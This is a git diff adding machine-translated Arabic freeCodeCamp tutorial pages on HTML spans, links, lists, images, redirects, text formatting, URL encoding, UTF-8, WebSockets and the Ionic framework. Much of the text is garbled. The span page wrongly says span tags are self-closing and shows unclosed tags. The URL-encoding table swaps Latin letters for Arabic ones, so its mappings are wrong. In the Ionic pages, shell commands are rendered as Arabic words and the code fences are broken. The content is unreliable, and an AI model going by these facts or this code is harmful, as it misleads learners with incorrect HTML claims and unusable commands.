+## كيفية إدراج المسافات أو علامات التبويب في النص باستخدام HTML و CSS
+
+هناك العديد من الطرق لإدخال المسافات باستخدام html. من أجل بساطة سنقوم الذهاب على واحد من هذه ، والتي هي عن طريق إدراج علامة سبان.
+
+## سبان تاج
+
+`<span>`
+
+علامات الامتداد `<span>` هي علامات إغلاق ذاتية بمعنى أنها لا تحتاج إلى `/>` .
+
+## سبيل المثال سبان
+
+يمكن مشاهدة مثال على كيفية إدراج علامة `<span>` مسافة بين النص أدناه.
+
+`<p>Hello may name is <span> James</p>`
+
+إذا قمت بتعيين فئة إلى `<span>` الخاصة بك ، يمكنك إضافة بعض css إليها. مثل ذلك،
+
+`<p>Hello my name is <span class=tab> James</p>`
+
+بعد ذلك إما في ورقة أنماط خارجية أو في ورقة أنماط داخلية ، يمكنك تقديم `class .tab` بعض الخصائص.
+
+## سبيل المثال فئة سبان
+
+فمثلا
+
+`.tab {padding-left: 2px;}`
+
+يمكنك أيضًا إعطاء `<span>` بعض خصائص النمط المضمن ، كما هو موضح أدناه.
+
+`<p>Hello my name is <span style="padding-left: 2px;"> James</p>`
+
+## معلومات اكثر
+
+لمزيد من المعلومات حول العلامة أو على ؛ كيفية إدراج فراغات أو علامات تبويب في النص باستخدام HTML و CSS ، يمكنك زيارة w3schools. https://www.w3schools.com/tags/tag\_span.asp
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/how-to-use-links/index.md b/client/src/guide/arabic/html/tutorials/how-to-use-links/index.md
new file mode 100644
index 0000000000..3e56a39c77
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/how-to-use-links/index.md
@@ -0,0 +1,37 @@
+---
+title: How to Use Links
+localeTitle: كيفية استخدام الروابط
+---
+## كيفية استخدام الروابط
+
+في HTML ، يمكنك استخدام العلامة `<a>` لإنشاء ارتباط. على سبيل المثال ، يمكنك كتابة `<a href="https://www.freecodecamp.org/">freeCodeCamp</a>` لإنشاء رابط لموقع freeCodeCamp على الويب.
+
+توجد الروابط في جميع صفحات الويب تقريبًا. تسمح الروابط للمستخدمين بالانتقال من الصفحة إلى الصفحة.
+
+ارتباطات HTML هي ارتباطات تشعبية. يمكنك النقر فوق ارتباط والانتقال إلى مستند آخر.
+
+عند تحريك الماوس فوق أحد الارتباطات ، يتحول سهم الماوس إلى يد صغيرة.
+
+ملاحظة: لا يجب أن يكون الرابط نصًا. يمكن أن يكون صورة أو أي عنصر HTML آخر.
+
+في HTML ، يتم تعريف الارتباطات بالعلامة:
+
+ `
+<a href="url">link text</a> 
+` 
+
+مثال
+
+ `
+<a href="https://www.freecodecamp.org/">Visit our site for tutorials</a> 
+` 
+
+تحدد السمة href عنوان الوجهة (https://www.freecodecamp.org) للرابط.
+
+نص الرابط هو الجزء المرئي (قم بزيارة موقعنا للبرامج التعليمية).
+
+سيؤدي النقر فوق نص الرابط إلى إرسالك إلى العنوان المحدد.
+
+#### معلومات اكثر:
+
+*   [MDN - HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a) Reference
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/how-to-use-lists/index.md b/client/src/guide/arabic/html/tutorials/how-to-use-lists/index.md
new file mode 100644
index 0000000000..0cc22afcd5
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/how-to-use-lists/index.md
@@ -0,0 +1,82 @@
+---
+title: How to Use Lists
+localeTitle: كيفية استخدام القوائم
+---
+## كيفية استخدام القوائم
+
+تستخدم القوائم لتحديد مجموعة من العناصر المتتالية أو المعلومات ذات الصلة بطريقة محكمة التشكيل والدلائل ، مثل قائمة المكونات أو قائمة بالخطوات الإجرائية. يحتوي ترميز HTML على ثلاثة أنواع مختلفة من القوائم - قوائم **مرتبة** وغير **مرتبة** **والوصف** .
+
+### القوائم المطلوبة
+
+يتم استخدام قائمة مرتبة لتجميع مجموعة من العناصر ذات الصلة ، بترتيب معين. يتم إنشاء هذه القائمة مع العلامة `<ol>` . كل عنصر قائمة محاط بعلامة `<li>` .
+
+##### الشفرة
+
+ `
+<ol> 
+    <li>Mix ingredients</li> 
+    <li>Bake in oven for an hour</li> 
+    <li>Allow to stand for ten minutes</li> 
+ </ol> 
+` 
+
+##### مثال
+
+1.  مزيج المكونات
+2.  يُخبز في الفرن لمدة ساعة
+3.  السماح للوقوف لمدة عشر دقائق
+
+### قوائم غير مرتبة
+
+يتم استخدام قائمة غير مرتبة لتجميع مجموعة من العناصر ذات الصلة ، دون ترتيب معين. يتم إنشاء هذه القائمة مع العلامة `<ul>` . كل عنصر قائمة محاط بعلامة `<li>` .
+
+##### الشفرة
+
+ `
+<ul> 
+    <li>Chocolate Cake</li> 
+    <li>Black Forest Cake</li> 
+    <li>Pineapple Cake</li> 
+ </ul> 
+` 
+
+#### مثال
+
+*   كعكة الشوكولاتة
+*   كيكة الغابة السوداء
+*   كعكة الأناناس
+
+### وصف القوائم
+
+يتم استخدام قائمة وصف لتحديد قائمة من العبارات وأوصافها. يتم إنشاء هذه القائمة بعلامة `<dl>` . كل عنصر قائمة محاط بعلامة `<dd>` .
+
+##### الشفرة
+
+ `
+<dl> 
+    <dt>Bread</dt> 
+    <dd>A baked food made of flour.</dd> 
+    <dt>Coffee</dt> 
+    <dd>A drink made from roasted coffee beans.</dd> 
+ </dl> 
+` 
+
+##### انتاج |
+
+خبز
+
+طعام مخبوز مصنوع من الطحين.
+
+قهوة
+
+مشروب مصنوع من حبوب البن المحمص.
+
+#### قائمة التصميم
+
+يمكنك أيضا التحكم في نمط القائمة. يمكنك استخدام خاصية القوائم على `list-style` القائمة. يمكن أن تكون قائمتك نقطية أو مربعة أو في numearls رومانية أو يمكن أن تكون الصور التي تريدها.
+
+الخاصية على `list-style` هي اختصار `list-style-type` ، `list-style-position` `list-style-image` ، `list-style-image` .
+
+#### معلومات اكثر:
+
+\[HTML lists · WebPlatform Docs\] (https://webplatform.github.io/docs/guides/html\_lists/ )
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/images-in-html/index.md b/client/src/guide/arabic/html/tutorials/images-in-html/index.md
new file mode 100644
index 0000000000..f7eb57b77c
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/images-in-html/index.md
@@ -0,0 +1,46 @@
+---
+title: Images in HTML
+localeTitle: الصور في HTML
+---
+## المقدمة
+
+يمكنك تعريف الصور باستخدام العلامة `<img>` . لا يحتوي على علامة إغلاق لأنه يمكن أن يحتوي على سمات فقط. لإدراج صورة تقوم بتعريف المصدر ونص بديل يتم عرض النص عندما لا يمكن عرض الصورة.
+
+`src` - توفر هذه السمة عنوان url لصورة موجودة على جهاز الكمبيوتر / الكمبيوتر المحمول أو لتضمينها من موقع ويب آخر. تذكر أن الرابط المقدم لا يجب أن ينكسر وإلا فإن الصورة لن يتم إنتاجها على صفحة الويب الخاصة بك.
+
+`alt` - يتم استخدام هذه السمة للتغلب على مشكلة الصورة المكسورة أو عدم قدرة المتصفح على عدم القدرة على إنتاج صورة على صفحة الويب. تشير هذه السمة كاسم إلى توفير "بديل" للصورة وهو عبارة عن "TEXT" يصف الصورة
+
+## مثال
+
+ `
+<img src="URL of the Image" alt="Descriptive Title" /> 
+` 
+
+### لتحديد ارتفاع وعرض صورة ، يمكنك استخدام سمة الارتفاع والعرض:
+
+ `
+<img src="URL of the Image" alt="Descriptive Title" height="100" width="150"/> 
+` 
+
+### يمكنك أيضًا تحديد سمك الحدود (0 يعني عدم وجود حد):
+
+ `
+<img src="URL of the Image" alt="Descriptive Title" border="2"/> 
+` 
+
+### محاذاة صورة:
+
+ `
+<img src="URL of the Image" alt="Descriptive Title" align="left"/> 
+` 
+
+### يمكنك أيضًا استخدام الأنماط في سمة نمط:
+
+ `
+<img src="URL of the Image" alt="Descriptive Title" style="width: 100px; height: 150px;"/> 
+` 
+
+#### معلومات اكثر
+
+*   انظر صفحة freeCodeCamp على العلامة `<img>` [هنا](https://guide.freecodecamp.org/html/elements/img-tag) .
+*   للحصول على مزيد من التفاصيل حول الصور في HTML ، راجع [محرر مستندات MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/Img)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/index.md b/client/src/guide/arabic/html/tutorials/index.md
new file mode 100644
index 0000000000..37f5308b0e
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/index.md
@@ -0,0 +1,11 @@
+---
+title: Tutorials
+localeTitle: دروس
+---
+## دروس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/html/tutorials/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/redirect-from-an-html-page/index.md b/client/src/guide/arabic/html/tutorials/redirect-from-an-html-page/index.md
new file mode 100644
index 0000000000..6550f74bbd
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/redirect-from-an-html-page/index.md
@@ -0,0 +1,13 @@
+---
+title: Redirect from an HTML Page
+localeTitle: إعادة توجيه من صفحة HTML
+---
+## إعادة توجيه من صفحة HTML
+
+إذا كنت قد قمت بتغيير عنوان URL لصفحة HTML الخاصة بك وتريد إعادة توجيه الزائرين تلقائيًا إلى الموقع الجديد للصفحة ، فيمكنك استخدام علامة وصفية داخل `<head>` مساحة صفحة HTML القديمة.
+
+`html <head> <meta http-equiv="refresh" content="0; url=http://freecodecamp.org/" /> </head>` في المثال أعلاه ، سيتم إعادة توجيه الزائرين إلى الصفحة من صفحة html القديمة إلى [http://freecodecamp.org/](http://freecodecamp.org/) . تعني سمة `content="0` أن المتصفح سيعيد التوجيه إلى الصفحة الجديدة بعد 0 ثانية. سيؤدي تغيير القيمة إلى `content="2` إلى إعادة التوجيه بعد ثانيتين.
+
+#### معلومات اكثر:
+
+*   [MDN - Redirections in HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/text-formatting-in-html/index.md b/client/src/guide/arabic/html/tutorials/text-formatting-in-html/index.md
new file mode 100644
index 0000000000..d8d25a2103
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/text-formatting-in-html/index.md
@@ -0,0 +1,61 @@
+---
+title: Text Formatting in HTML
+localeTitle: تنسيق النص في HTML
+---
+## تنسيق النص في HTML
+
+يوفر لك HTML الكثير من العناصر المفيدة لتنسيق النص. يسمح لك بعمل النص الخاص بك: غامق ، مائل ، علامة وأكثر من ذلك بكثير. إن تغيير نمط النص الخاص بك ليس بدون أي سبب - الشيء الرئيسي هو مجرد جعل القارئ يلقي نظرة على بعض الملاحظات المهمة.
+
+### جريئة وقوية
+
+يمكنك بسهولة تغيير معنى النص الخاص بك باستخدام عنصر `<b>` HTML. يجعل الكلمات جريئة ، والتي تعمل على إفراد جزء التسلسل. فمثلا:
+
+ `The most important part of your code is <b>the end</b>, because if you <b>don't close</b> the element, it will affect to <b>everything</b>! 
+` 
+
+يمكنك أيضًا استخدام `<strong>` أيضًا - إنها تضيف أيضًا أهمية "قوية" دلالية. لا يتعرف متصفحك على فرق بين هذين العنصرين ، ولكنه موجود.
+
+### مائل وتأكيده
+
+عادة ما تستخدم عند اقتباس شيء ما أو وضع ترجمة للكلمة في الكثير من المقالات. يجعلها مائلة - فقط تخيل ركلها قليلاً في الأحرف الصحيحة. فمثلا:
+
+ `Theatre - <i>teatos</i>, <i>teates</i> and <i>teatron</i>. 
+` 
+
+يمكنك أيضًا استخدام `<em>` أيضًا - حيث تضيف أيضًا أهمية دلالية "مؤكدة". لا يتعرف متصفحك على فرق بين هذين العنصرين ، ولكنه موجود.
+
+### صغير
+
+يجعل النص الخاص بك أصغر من الحجم العادي للخط المستخدم. تم تغيير معنى هذا العنصر في HTML5 - وهو يمثل التعليقات الجانبية والطباعة الصغيرة.
+
+`Normal, <small>small</small>, normal, <small>small</small>!`
+
+### ملحوظ
+
+يجعل العنصر `<mark>` نصك مميزًا - بكلمات مختلفة ، مما يجعل النص محددًا. يمكنك استخدامه لإخبار القراء بأنه أحد الأشياء المهمة في مقالك. فمثلا:
+
+`HTML is full of things and <mark>it's our journey</mark> to get known them better!`
+
+### تم الحذف
+
+يجعل العنصر `<del>` نصك مبتوراً في المركز. من المفيد إظهار التغييرات في مستنداتك.
+
+`WWI started in <del>1913</del> 1914 year.`
+
+### إدراج
+
+العلامة `<ins>` تجعل النص الخاص بك مدرجًا في المقالة. استخدام الكلمات الأخرى التي تجعل الأمر أسهل للفهم - إضافة. فإنه يظهر خط تحت النص المدرج.
+
+`HTML isn't boring. <ins>You can make a lot of combinations of elements!</ins>`
+
+### التي تشترك
+
+يمنحك استخدام العنصر `<sub>` تنسيقًا مفيدًا كنص برمجي منخفض (يُظهر أنه أصغر في الأسفل). هناك رمز المثال:
+
+`This was in 2003 year <sub>(needs a link).`
+
+### Superscripted
+
+إذا كنت تريد إجراء عكس النص الذي تم تسجيله ، فيمكنك بسهولة استخدام عنصر `<sup>` . يُظهر نصًا أصغر في الأعلى.
+
+`10<sup>x+y</sup> = 1000`
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/tutorials/use-tab-space-instead-of-multiple-non-breaking-spaces-nbsp/index.md b/client/src/guide/arabic/html/tutorials/use-tab-space-instead-of-multiple-non-breaking-spaces-nbsp/index.md
new file mode 100644
index 0000000000..6870a38d3c
--- /dev/null
+++ b/client/src/guide/arabic/html/tutorials/use-tab-space-instead-of-multiple-non-breaking-spaces-nbsp/index.md
@@ -0,0 +1,11 @@
+---
+title: Use Tab Space Instead of Multiple Non Breaking Spaces Nbsp
+localeTitle: استخدام تبويب مساحة بدلاً من متعددة غير Breaking Spaces Nbsp
+---
+## استخدام تبويب مساحة بدلاً من متعددة غير Breaking Spaces Nbsp
+
+في HTML ، تتمثل الطريقة الأكثر شيوعًا لإضافة مسافات متعددة في إضافة `&nbsp;` لكل مساحة. لإضافة مساحة تبويب ، ضع النص في علامات `<pre>` ، على سبيل المثال `<pre>My Text Here</pre>` وسيتم التعامل مع كل علامة تبويب على أنها ثمانية مسافات. طريقة أخرى لإضافة مسافات متعددة في HTML هي استخدام CSS على سبيل المثال `<p style="padding-right: 5px;">My Text Here</p>` .
+
+#### معلومات اكثر:
+
+*   [MDN - عنصر النص المنسق مسبقًا](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/pre)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/url-encoding-reference/index.md b/client/src/guide/arabic/html/url-encoding-reference/index.md
new file mode 100644
index 0000000000..458115e9ab
--- /dev/null
+++ b/client/src/guide/arabic/html/url-encoding-reference/index.md
@@ -0,0 +1,35 @@
+---
+title: Url Encoding Reference
+localeTitle: مرجع ترميز Url
+---
+## مرجع ترميز Url
+
+عنوان URL هو عنوان لموقع الويب. مثلما يجب أن تتبع العناوين البريدية تنسيقًا محددًا ليتم فهمه بواسطة ساعي البريد ، يجب على URLS اتباع تنسيق لفهمه وإيصالك إلى الموقع الصحيح.
+
+هناك بعض الأحرف المسموح بها في سلسلة عنوان URL والأحرف الأبجدية والأرقام وعدد قليل من الأحرف فقط `; , / ? : @ & = + $ - _ . ! ~ * ' ( ) #` يمكن أن يكون لها معاني خاصة.
+
+#### الشخصيات المحجوزة:
+
+| حرف المعنى | | --- | --- | | : | بروتوكول منفصل (http) من العنوان | | / | مجال منفصل والدلائل | | # | مراسي منفصلة | | ؟ | سلسلة استعلام منفصلة | | & | عناصر استعلام منفصلة | | @ | اسم المستخدم وكلمة المرور منفصلة من المجال | | ٪ | يشير إلى حرف مشفر | | + | يشير إلى مساحة |
+
+#### التشفير:
+
+يجب تشفير أي حرف غير حرف أبجدي أو رقم أو حرف محجوز قيد الاستخدام.
+
+تستخدم عناوين URL مجموعة حروف ASCII ("American Standard Code for Information Interchange") ولذلك يجب أن يكون الترميز بتنسيق ASCII صحيح.
+
+هناك وظائف في معظم لغات الويب للقيام بهذا الترميز لك ، على سبيل المثال في `encodeURI()` JavaScript وفي PHP `rawurlencode()` .
+
+| حرف مشفرة | | --- | --- | | الفضاء ٪ 20 | | ! | ٪ 21 | | "|٪ 22 | | # | ٪ 23 | | $ | ٪ 24 | | ٪ | ٪ 25 | | & | ٪ 26 | | "| ٪ 27 | | (|٪ 28 | | ) | ٪ 29 | | \* | ٪ 2A | | + | ٪ 2B | | ، | ٪ 2C | | - | ٪ 2D | | . | ٪ 2E | | / | ٪ 2F | | 0 | ٪ 30 | | 1 | ٪ 31 | | 2 | ٪ 32 | | 3 | ٪ 33 | | 4 | ٪ 34 | | 5 | ٪ 35 | | 6 | ٪ 36 | | 7 | ٪ 37 | | 8 | ٪ 38 | | 9 | ٪ 39 | | : | ٪ 3A | | . | ٪ 3B | | <| ٪ 3C | | = | ٪ 3D | | > | ٪ 3E | | ؟ | ٪ 3F | | @ | ٪ 40 | | أ | ٪ 41 | | ب | ٪ 42 | | ج | ٪ 43 | | د | ٪ 44 | | ه | ٪ 45 | | F | ٪ 46 | | ز | ٪ 47 | | ح | ٪ 48 | | أنا | ٪ 49 | | ي | ٪ 4A | | ك | ٪ 4B | | لام | ٪ 4C | | م | ٪ 4D | | ن | ٪ 4E | | يا ٪ 4F | | ف | ٪ 50 | | س | ٪ 51 | | R | ٪ 52 | | S | ٪ 53 | | تي | ٪ 54 | | يو | ٪ 55 | | V | ٪ 56 | | ث | ٪ 57 | | X | ٪ 58 | | Y | ٪ 59 | | Z | ٪ 5A | | \[| ٪ 5B | | \\ | ٪ 5C | | \] | ٪ 5D | | ^ | ٪ 5E | | \_ | ٪ 5F | | \`| ٪ 60 | | أ | ٪ 61 | | ب | ٪ 62 | | ج | ٪ 63 | | د | ٪ 64 | | ه | ٪ 65 | | و | ٪ 66 | | ز | ٪ 67 | | ح | 68 ٪ | أنا | ٪ 69 | | ي | ٪ 6A | | ك | ٪ 6B | | ل | ٪ 6C | | م | ٪ 6D | | ن | ٪ 6E | | س | ٪ 6F | | ع ٪ 70 | | ف | ٪ 71 | | ص | ٪ 72 | | ق | ٪ 73 | | ر | ٪ 74 | | ش | ٪ 75 | | v | ٪ 76 | | ث | ٪ 77 | | س | ٪ 78 | | ذ | ٪ 79 | | ض | ٪ 7A | | {| ٪ 7B | | | | ٪ 7C | | } | ٪ 7D | | ~ | ٪ 7E | | ¢ | ٪ A2 | | جنيه استرليني | ٪ A3 | | ¥ | ٪ A5 | | | | ٪ A6 | | § | ٪ A7 | | «| ٪ AB | | ¬ | ٪ AC | | ¯ | ٪ AD | | º | ٪ B0 | | ± | ٪ B1 | | ª | ٪ B2 | | ، | ٪ B4 | | µ | ٪ B5 | | »| ٪ BB | | ¼ | ٪ قبل الميلاد | | ½ | ٪ دينار بحريني | ¿| ٪ BF | | À | ٪ C0 | | Á | ٪ C1 | | Â | ٪ C2 | | أ ٪ C3 | | Ä | ٪ C4 | | Å | ٪ C5 | | Æ | ٪ C6 | | ا | ٪ C7 | | ب | ٪ C8 | | É | ٪ C9 | | Ê | ٪ CA | | Ë | ٪ CB | | Ì | ٪ CC | | Í | ٪ CD | | Î | ٪ CE | | Ï | ٪ CF | | Ð | ٪ D0 | | Ñ ​​| ٪ D1 | | Ò | ٪ D2 | | Ó | ٪ D3 | | Ô | ٪ D4 | | Õ | ٪ D5 | | Ö | ٪ D6 | | Ø | ٪ D8 | | Ù | ٪ D9 | | Ú | ٪ DA | | Û | ٪ DB | | Ü | ٪ العاصمة | | Ý | ٪ DD | | Þ | ٪ DE | | ß | ٪ DF | | à | ٪ E0 | | á | ٪ E1 | | â | ٪ E2 | | م ٪ E3 | | ن | ٪ E4 | | å | ٪ E5 | | و ٪ E6 | | ç | ٪ E7 | | è | ٪ E8 | | é | ٪ E9 | | ê | ٪ EA | | ë | ٪ EB | | ì | ٪ EC | | أنا ٪ ED | | î | ٪ EE | | ï | ٪ EF | | ð | ٪ F0 | | ñ | ٪ F1 | | ò | ٪ F2 | | ó | ٪ F3 | | ô | ٪ F4 | | õ | ٪ F5 | | ö | ٪ F6 | | ÷ | ٪ F7 | | ø | ٪ F8 | | ù | ٪ F9 | | ú | ٪ FA | | û | ٪ FB | | ü | ٪ FC | | ý | ٪ FD | | þ | ٪ FE | | ÿ | ٪ FF |
+
+#### مثال:
+
+ `encodeURI(Free Code Camp); 
+ // Free%20Code%20Camp 
+` 
+
+#### معلومات اكثر:
+
+[MDN encodeURI ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI)
+
+\[https://www.w3schools.com/tags/ref\_urlencode.asp\](HTML URL Encoding Reference)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/utf-8-reference/index.md b/client/src/guide/arabic/html/utf-8-reference/index.md
new file mode 100644
index 0000000000..99eb7160a1
--- /dev/null
+++ b/client/src/guide/arabic/html/utf-8-reference/index.md
@@ -0,0 +1,37 @@
+---
+title: UTF 8 Reference
+localeTitle: UTF 8 Reference
+---
+## UTF 8 Reference
+
+UTF 8 هو نظام ترميز يستخدم لترجمة الأحرف التي نراها على الشاشات إلى أرقام يمكن لأجهزة الكمبيوتر تخزينها. سيسمح تحديد ترميز الأحرف مثل UTF8 للمتصفح بعرض الأحرف المتقدمة بشكل صحيح مثل الأحرف المحركة والرموز التعبيرية.
+
+في مستندات HTML ، يمكنك تحديد ترميز الأحرف في الصفحة عن طريق وضع علامة التعريف هذه في علامة `head` لصفحة HTML الخاصة بك: `<meta charset="UTF-8">` . UTF 8 هو الترميز القياسي.
+
+تم تطوير معيار [Unicode](https://www.unicode.org/) من أجل استيعاب الأحرف المستخدمة في اللغات في جميع أنحاء العالم.
+
+لكن انتظر! ما علاقة Unicode بـ UTF 8؟ UTF 8 هو نظام الترميز ولكن من المهم فهم Unicode هو تعريف مجموعة الأحرف. وبعبارة بسيطة ، ما يعنيه هذا هو أن Unicode يحدد رقمًا فريدًا - يسمى نقطة الرمز - للعديد من الأحرف الرئيسية المستخدمة في اللغات في جميع أنحاء العالم ، وسوف يترجم UTF 8 الحرف إلى تنسيق ثنائي متوافق مع الكمبيوتر. 1 هنا مثال على ذلك:
+
+1.  كنت أريد أن أذكر freeCodeCamp في مكان ما في صفحة الويب الخاصة بك (لأن ، كما تعلمون ، freeCodeCamp هو 🔥 🔥 🔥).
+    
+2.  يشير رمز الحرف إلى تهجئة freeCodeCamp كما هو موضح في Unicode:
+    
+    | و | ص | ه | ه | ج | س | د | ه | ج | أ | م | ع | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | : ---: | | 102 | 114 | 101 | 101 | 67 | 111 | 100 | 101 | 67 | 97 | 109 | 112 |
+    
+3.  UTF 8 يترجم النقاط البرمجية إلى ثنائي: 1100110 1110010 1100101 1100101 1000011 1101111 1100100 1100101 1000011 1100001 1101101 1110000
+    
+
+### كيفية استخدام UTF-8 في صفحة الويب الخاصة بك
+
+حدد علامة وصفية بها مجموعة أحرف من UTF 8 في علامة رأسك.
+
+ `
+<head> 
+  <meta charset="utf-8"> 
+ </head> 
+` 
+
+#### معلومات اكثر:
+
+*   [يونيكود رمز الحرف المخططات](https://www.unicode.org/charts/index.html)
+*   [HTML Unicode Reference](https://www.w3schools.com/charsets/ref_html_utf8.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/web-sockets/index.md b/client/src/guide/arabic/html/web-sockets/index.md
new file mode 100644
index 0000000000..4db8491682
--- /dev/null
+++ b/client/src/guide/arabic/html/web-sockets/index.md
@@ -0,0 +1,19 @@
+# localeTitle: undefined
+WebSockets
+
+_Web Sockets_ هي تقنية تسمح لك بإنشاء اتصال تفاعلي بين العميل والخادم لتبادل البيانات في الوقت الحقيقي. WebSockets تسمح لك بالعمل في اثنين من دفق ، والذي يميز هذه التكنولوجيا من HTTP.
+
+## كيف يعمل WebSockets؟
+
+لا يحتاج WebSockets إلى مكالمات متكررة للرد. يكفي تقديم طلب واحد وانتظر الرد. يمكنك الاستماع إلى الخادم ، والذي سوف يرسل الإجابة على الاستعداد.
+
+## متى يمكنني استخدام WebSockets؟
+
+*   تطبيقات في الوقت الحقيقي
+*   تطبيق الدردشة
+*   تطبيقات إنترنت الأشياء
+*   ألعاب متعددة اللاعبين
+
+## متى لا تستخدم WebSockets؟
+
+يتم دعم WebSockets بالفعل في 95٪ من المتصفحات ، ولكن في بعض الأحيان لا تكون هذه التقنية مطلوبة. على سبيل المثال ، إذا كنت تقوم بإنشاء CMS بسيط حيث لا تكون وظيفة الوقت الحقيقي مطلوبة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/ionic/hello-world-in-ionic/index.md b/client/src/guide/arabic/ionic/hello-world-in-ionic/index.md
new file mode 100644
index 0000000000..7225ac3186
--- /dev/null
+++ b/client/src/guide/arabic/ionic/hello-world-in-ionic/index.md
@@ -0,0 +1,65 @@
+---
+title: Hello World In Ionic 
+localeTitle: مرحبا العالم في الأيونية
+---
+# مرحبا العالم في الأيونية !!
+
+### هذه هي المقالة الافتتاحية التي ستتم من خلالك لجعل برنامج Hello World simlple في Ionic.
+
+### خطوات
+
+#### 1\. تثبيت `ionic` ، `npm` ، `angular` و `cordova` إذا لم يتم تثبيت. \[انظر المقدمة [الأولى](https://guide.freecodecamp.org/ionic) لمزيد من المعلومات\]
+
+ `sudo apt-get install nodejs 
+ sudo apt-get install npm 
+ sudo npm install -g ionic cordova 
+` 
+
+#### 2\. قم بإنشاء مجلد باسم `helloworld`
+
+ `ionic start helloworld blank 
+` 
+
+ملحوظة: حيث أن هذا هو مشروع صغير أدخل لا أو N عند المطالبة أثناء تنفيذ البرنامج.
+
+#### 3\. قم بتغيير الدليل إلى `helloworld` \[هذا هو دليلك الأيوني\]
+
+ `cd helloworld 
+` 
+
+#### 4\. افتح المجلد في محرر النص الخاص بك. سترى مختلف الملفات والمجلدات الفرعية.
+
+لا داعي للذعر يتم إنشاء هذه الملفات تلقائيًا بواسطة npm. اذهب إلى `src` -> `page` -> `home` -> `home.html` .
+
+#### 5\. تنسيق الملف الأساسي
+
+ `` `home.html` is the html page where you can write html syntax.<br/> 
+ 
+ `home.scss` is the css page to write css syntax.<br/> 
+ 
+ `home.ts` is the typescript page to write typescript code. 
+`` 
+
+#### 6\. احذف القالب وأضف بناء الجملة html كما هو موضح في الصورة.
+
+ `
+ <ion-header> 
+  <ion-navbar> 
+    <ion-title> 
+      Ionic Project 
+    </ion-title> 
+   </ion-navbar> 
+  </ion-header> 
+ 
+  <ion-content padding> 
+   <h2>Hello World </h2> 
+  </ion-content> 
+ ``` 
+ 
+ 
+ #### 7. Save the code and run 
+` 
+
+الصدف خدمة الأيونية \`\` \`
+
+#### 8\. لمشاهدة الرمز الخاص بك قيد التشغيل ، انتقل إلى المتصفح وافتح localhost: 8100 في عنوان url.
\ No newline at end of file
diff --git a/client/src/guide/arabic/ionic/index.md b/client/src/guide/arabic/ionic/index.md
new file mode 100644
index 0000000000..288b3b7d4a
--- /dev/null
+++ b/client/src/guide/arabic/ionic/index.md
@@ -0,0 +1,45 @@
+---
+title: Ionic
+localeTitle: أيوني
+---
+## الإطار الأيوني
+
+أيوني هو إطار تطوير تطبيقات الجوال HTML5 الذي يستهدف بناء تطبيقات الجوال المختلطة.
+
+تتمتع التطبيقات المختلطة بالعديد من الفوائد على التطبيقات الأصلية الخالصة ، خاصة فيما يتعلق بدعم النظام الأساسي وسرعة التطوير والوصول إلى رمز الطرف الثالث.
+
+### بناء تطبيقات الهجين مع الأيونية
+
+أولئك الذين يعرفون تطوير الويب سيجدون بنية التطبيق الأيوني بشكل مباشر. في جوهرها ، إنها مجرد صفحة ويب تعمل في غلاف التطبيق الأصلي! وهذا يعني أنه يمكننا استخدام أي نوع من أنواع HTML و CSS وجافا سكريبت التي نريدها.
+
+ستتم كتابة الجزء الأكبر من التطبيق الأيوني بلغة HTML و جافا سكريبت و CSS. يستخدم Ionic AngularJS أيضًا للعديد من الوظائف الأساسية للإطار.
+
+### قبل أن نبدأ اللعب مع أيوني. دعونا نعد نظامنا أولا:
+
+ `  nodeJS and npm 
+  Ionic 2 
+  Cordova 
+  Android Environment (or iOS if you're working on a MacOS) 
+` 
+
+### أول شيء أولاً ، نحن بحاجة إلى Node.js و npm.
+
+ `  sudo apt-get update 
+  sudo apt-get install nodejs 
+` 
+
+### مدير حزمة Node.js (npm)
+
+\`\` \`  
+sudo apt-get install npm
+
+ `### Ionic 2 and cordova 
+` 
+
+sudo npm install -g ionic cordova
+
+ `### Now sit back and relax, give it some time to finish, it can take several minutes depending on your internet connection. 
+ Once that's done, Let's start off by generating a new project based on the “blank” template 
+` 
+
+تبدأ الأيونية MyFirstApp فارغة مؤتمر نزع السلاح MyFirstApp خدمة الأيونية \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/ionic/ionicons/index.md b/client/src/guide/arabic/ionic/ionicons/index.md
new file mode 100644
index 0000000000..25ce1e8fc2
--- /dev/null
+++ b/client/src/guide/arabic/ionic/ionicons/index.md
@@ -0,0 +1,11 @@
+---
+title: Ionicons
+localeTitle: Ionicons
+---
+## Ionicons
+
+إن Ionicons عبارة عن مجموعة رموز مفتوحة المصدر تم تصميمها لتطبيقات الويب و iOS و Android وتطبيقات سطح المكتب. تم بناء Ionicons للإطار الأيوني ، بحيث تحتوي الرموز على كل من التصميم متعدد الأبعاد وإصدارات iOS. عند استخدامه مع أيوني ، سيستخدم مكوّن `ion-icon` الإصدار الصحيح تلقائيًا استنادًا إلى النظام الأساسي الخاص بك. بالإضافة إلى ذلك ، عند استخدامها خارج الأيونية ، يمكن اختيار كلا المنصتين `ios` و `md` بواسطة التطبيق.
+
+### مصادر
+
